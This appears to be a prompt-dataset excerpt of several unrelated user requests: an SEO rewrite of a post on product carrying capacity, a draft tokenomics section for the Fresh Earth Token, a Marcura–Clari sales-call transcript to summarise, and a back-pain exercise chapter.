meaningful visit then you need to work backwards and find the point where % chance of a repeat meaningful visit is 95+ %.\nTo switch examples, say you created an online game. After your user completes the sign-up process and takes their first few turns, there is still a good chance they will not return. However, those users who have come back on 100 unique days (where they took a turn on that day) should have a near 100% chance of returning the 101st time to take a turn. Find the point in between where the drop-off hits 5%, meaning 95% of people who reach this point will return. At this point you can call someone a customer. In a game I worked on once, after someone cast 24 spells and had visited the game on at least two unique days, they were hooked. We only lost 1% of these people each day. This point was the end of our new user funnel.\n(Note: if you don’t have a very sticky point like this, you may not have created a high-value product yet)\nThe second step is to figure out when you’ve lost a customer. After you’ve converted them from a visitor to a customer, by definition, you know you have a high likelihood of them engaging with the product again, but even these customers may not visit every single day. At what point have you lost them?\nYou should have an intuition about the interval between meaningful visits that you care about; start there and look for an unexpectedly long gap. In the game I mentioned above most people played every day (it was designed with this intent). A month after launch I grabbed all my customers who had played today and had been around for at least three weeks. I looked at how long of a break these people took. Lots of people skipped a day of playing, many skipped two or three consecutive days of playing, but very few took people ever took a 4 day break and came back again so after 4 days I considered a customer to be dead. For a second example, consider a product like Shazam on the iPhone (it identifies a song you are listening to). I use this product once month. Assuming this is okay to Shazam as a company (meaning that they can still build a successful business on people like me) then their lost point will be much different than with my game. I bet some Shazam users skip a month or two, but if you’ve skimmed four months you’ve probably forgotten about Shazam and have a very low chance of returning.\nCarrying Capacity\nAt this point, every day you know how many customers you gained, how many you lost, and how many total you currently have. With this data you can now calculate your carrying capacity.\nLets say you have 400 new visitors each day (i.e. from Adwords or Facebook Ads) and 50 of them turn into new customers; and of your current customers you lose lose 1% of them each day. Your product will continue to grow until you reach 5000 customers and then it will stop. Why? Because the # of customers you add each day is mostly independent of your total audience size, whereas the # of customers you lose each day will steadily increase until you’re losing the exact same number of customers you gain each day. At this point you plateau.\nOnce you have reached this equilibrium state, if you increase your daily ad spend so you’re acquiring 75 new customers each day you’ll start growing again until you reach 7,500 total customers then you’ll stop. And conversely, if you keep your # of new customers the same but figure out how to get your daily loss to 0.66% you will also grow to 7500 customers and then level off.\nCarrying Capacity = # of new daily customers / % customers you lost each day\n(The reality is a little more complex than this because the # of new customers you get each day is influenced to some extent by the total # of customers you have, but you can tease out those effects later.)\nEnhancing the Model\nThe next thing to understand is where your new customers are coming from. There are 3 possibilities worth isolating:\n\\* This is a brand new person you’ve never seen before (usually from advertising, SEO, or referral)\n\\* This is a former customer you considered lost or dead that has been resurrected\n\\* This is someone who tried your product in the past but never became a customer; now they’ve come back and converted (I call these the skeptics)\nHere is the original diagram expanded. In this picture you’ve added 50 new customers today but you isolated the three different sources (new, skeptics saved, resurrected). You also track the intermediate pools (skeptics and dead customers).\n \nThere is one more expansion I find helpful. Within the 5,000 total customers pictured above, some % of those returned today so they’re as good as new. Here is what my full customer dashboard with that addition:\n \nVirality\nVirality is the one concept which has the biggest potential to impact this model. Most people look at virality in a simplified way. You take all the new people who tried your product today and see how many friends they brought (either today or on any day in the near future). If 50 people came today and they inspired 25 of friends to come over the next few days then you’re K-factor is 0.5 (each new visitor will bring 0.5 friends). This doesn’t have any impact on the model I explained above. See the 400 new visitors? If your K-factor is 0.5 this just means you only had to buy 266 of them, the other 134 came for free. Correction: You only had to buy 200 of them, the other 200 came for free. I was only considering the second generation of free visitors, but these will bring a third generation, which will bring a fourth, etc. A K-factor of 0.5 means 1/(1–0.5)=2 times the number of users you bought will ultimately come. Any K-factor less than 1.0 is essentially just a discount on advertising spend (0.5 equals a 33% discount 50% discount).\nWhat most people overlook is that retention has a huge effect on your K-factor. Sure, most of the invitations people send occur in the first visit or first few days of using a product; this is why you initially spend so much time optimizing your new user funnel and trying to get people to refer their friends as part of this. However, after this first-visit kicker most users who come to love your product and stay around for a long time will continue to refer a steady stream of their friends. This can give you a nice bump to your lifetime K-factor and give you a greater chance of getting it over 1.0.\nNote: In the case that your first-visit viral coefficient is greater than 1.0, things can be very confusing without having a clear model like the one above. You could be converting 0% of your visitors to customers (i.e. all the water going into your bucket is instantly flowing out), but you’re steadily turning up the water since each new visitor is bringing more than one friend. You will see a steady increase in all your naive measurements of success (i.e. unique pageviews and visitors per day) but in reality you may not be acquiring any customers.\nBenefit\nIn closing, lets revisit the example questions I raised at the start. Here is how this model helps:\n\\* You notice that your power users all have taken some action (e.g. filled out their profile) so you try to encourage all users to fill out their profile to get them more hooked on your product. Does this actually help? Without this model its easy to mislead yourself into thinking it helps. You will probably be able to increase the metric but it may just weaken the correlation with power users. However, with this model you just watch your loss % each day and if it doesn’t change then you haven’t had any net impact on retention.\n\\* You have 24 hours of downtime, the next day you come back up your traffic is down. Will this have a long-term effect you need to worry about? Even if your traffic is lowered for a few days, all you have to do is measure your new visitors per day & lost customers per day and you’ll see if your carrying capacity has changed. If it has not changed then you don’t have to worry, you know your traffic will rise back up to your carrying capacity.\n\\* You have 100K uniques per day and so does your competitor, but are these 100K people who come back every day or 700K people who each come once per week? Does it matter? If you’re incorrectly caught up in # of unique visitors per day then this does seem like an important thing. And in fact, if you realize your visitors are not returning as often as your competitors you may even be tempted to spam them regularly because this will increase # of unique visitors each day and can give you the illusion of improving things. In reality a move like this would probably increase your % lost each day and hurt your carrying capacity but you wouldn’t notice this for awhile because the increased # of uniques each day would mask the harm. However, with the model your emphasis is on # of customers not # of visitors. You’ll quickly realize that you don’t care how frequently people visit as a primary factor; if it doesn’t impact # of new customers per day or % of lost per day then you haven’t actually helped your product.\n\\* You turn on a new advertising campaign and see your # of unique visitors per day start to increase, you assume that this will continue increasing so long as you keep the ads running, right? Nope, you’ll level off once you’ve reached your new carrying capacity.\n\\* You start having email deliverability problems (or Facebook turns off notifications) so you cant notify users of new activity on the site. The # of unique visitors per day decreases slightly but you’re not too worried, should you be? This is similar to question 3, it may or may not be important but you’ll quickly be able to tell by focusing on the core numbers. Increasing # of unique visitors per day does not necessarily lead to more total customers.\n]\nUsing the writing, write an optimized article by Google Seo titled "using carrying capacity in product management" please.' +"A. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and Rewards System. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a Data Managment Platform that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators (KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a Project Management Platform, and a Rewards System, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's Rewards System aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the Rewards System and the Data Managment Platform. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the Project Management Platform. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token.\n\nIncentive Enablers\nIncentive enablers are features or attributes of the token that facilitate the alignment of incentives between different participants. Fresh Earth tokens provide the following rights that enable stakeholders to participate in the ecosystem and benefit from its growth and success, amongst others:.\n\nRight to use: Fresh Earth tokens may be used to access services and content within the ecosystem, such as access to regenerative farming practices and regeneratively grown food products.\n\nRight to vote: Fresh Earth tokens may be used as a requirement for stakeholders to influence the decision-making of the decentralized autonomous organization (DAO) that manages the Fresh Earth ecosystem.\n\nUnit of account: Fresh Earth tokens may be used to measure the value of services, assets, labor and liabilities within the ecosystem.\n\nMedium of exchange: Fresh Earth tokens may be used as a medium of exchange to trade goods or services within the ecosystem.\n\nStore of value: Fresh Earth tokens may be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time.\n\nIncentive Drivers \nThe Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers. In addition to the enablers, the Fresh Earth token also serves as a key driver for participation and engagement in the ecosystem. These include:\n\nGet Access: token grants access to services and content within the ecosystem\n\nGet Discount: token holders access discounts on services and content available within the ecosystem\n\nGet Revenue: allows actors within the ecosystem to monetize their participation\n\nGet Reward: token holders are rewarded for actions that contribute to the ecosystem's success and growth, such as adopting regenerative practices and registering land on the platform\n\nParticipate in Governance: token holders can use their tokens to shape the ecosystem's rules and decisions through decentralized governance\n\nAppreciation Potential, which allows token holders to benefit from the ecosystem's success or the uplift in value of the token, and get a share of it by holding, staking or selling tokens\n\nToken use cases and utility\nFresh Earth Tokens will have a number of key use cases and utilities within the Fresh Earth ecosystem. Firstly, they will be used as a means of access to the services and content provided within the ecosystem, such as marketplaces for regeneratively produced food and resources for regenerative farmers. Secondly, they will be used as a means of participation in the governance of the ecosystem, allowing token holders to vote on key decisions and proposals. Thirdly, they will serve as a unit of account and medium of exchange within the ecosystem, allowing for the measurement and intermediation of economic transactions. Finally, they will act as a store of value, with their value being tied to the success and growth of the ecosystem.\n\nGovernance\nOverview of the governance structure of the Fresh Earth Token ecosystem, including decentralized autonomous organization (DAO) or other decentralized governance mechanism.\n\nToken holders rights and responsibilities\n\nToken holder voting and decision-making processes, Voting and decision-making: An explanation of how decisions will be made within the ecosystem, including any voting or consensus mechanisms.\n\nToken holder rewards for participation, Community participation: Information on how the community can participate in the ecosystem and contribute to its development.\n\nToken holder protection\n\n \n\nTechnical Requirements\nThe Fresh Earth Token will be created using smart contracts on the Hedera Hashgraph (HTS) blockchain. These smart contracts will be programmed to mint new tokens and allocate them to stakeholders according to predefined rules and algorithms.\n\nFresh has created Technical Specification Documents detailing the technical requirements and the overall architecture and design for the development and implementation of the Fresh Earth ecosystem and the Fresh Earth Token, including the various components and how they interact with each other. \n\nSummary of FET Functional Requirements\n\nToken Creation: The system must be able to mint new tokens and allocate them to stakeholders according to predefined rules and algorithms. \n\nToken Distribution: The system must be able to distribute tokens to farmers, businesses, and consumers who participate in the ecosystem and contribute to regenerative practices. \n\nToken Sale: The system must be able to facilitate the sale of tokens to investors and other stakeholders through a decentralized exchange or other platform. \n\nToken Staking: The system must allow token holders to stake their tokens and earn rewards for participating in the ecosystem and contributing to regenerative practices. \n\nToken Governance: The system must allow token holders to vote on governance decisions and proposals related to the management and direction of the ecosystem. \n\nToken Valuation: The system must be able to calculate and update the value of the token based on the performance of the ecosystem and the impact of regenerative practices, as measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. \n\nToken Liquidity: The system must allow for the exchange of tokens on decentralized exchanges or other platforms, enabling liquidity for token holders. \n\nToken Transparency: The system must be transparent and auditable, providing stakeholders with access to data\n\nToken Security: The system must be secure and resistant to hacking and other malicious attacks, using strong encryption algorithms to protect the token transactions and data stored on the blockchain, including\n\nSmart contract security: formally verified and immune to common vulnerabilities\n\nNetwork security: the transactions and data stored on the blockchain are tamper-proof\n\nWallet security: user-friendly wallets that are resistant to fraud\n\nCompliance and regulations: comply with all relevant laws and regulations.\n\nToken Scalability: The Fresh Earth token system will be designed to support the growth and expansion of the ecosystem, ensuring that it can handle a large number of transactions and stakeholders supporting the growth and expansion of the ecosystem in a secure and efficient manner. This will be achieved by implementing a number of scalability solutions including:\n\nSharding: to divide the network into smaller subsets, which can help to increase the capacity and speed of the network.\n\nOff-chain transactions: to reduce the load on the network.\n\nState channels: to enable faster and cheaper transactions, by moving them off-chain and only settling the final outcome on-chain.\n\nInteroperability\n\nAsynchronous communication:" +'Identify the key topics discussed in this part of a sales call titled "Marcura & Clari | Consumption Forecast Discussion". For each topic, create a summary in the following format, using bullet points and headings:\nName of topic\nSummary of discussion\n\nIgnore small talk and introductions. \n\nHere is the transcript of the call: "\n> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve."' +'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these 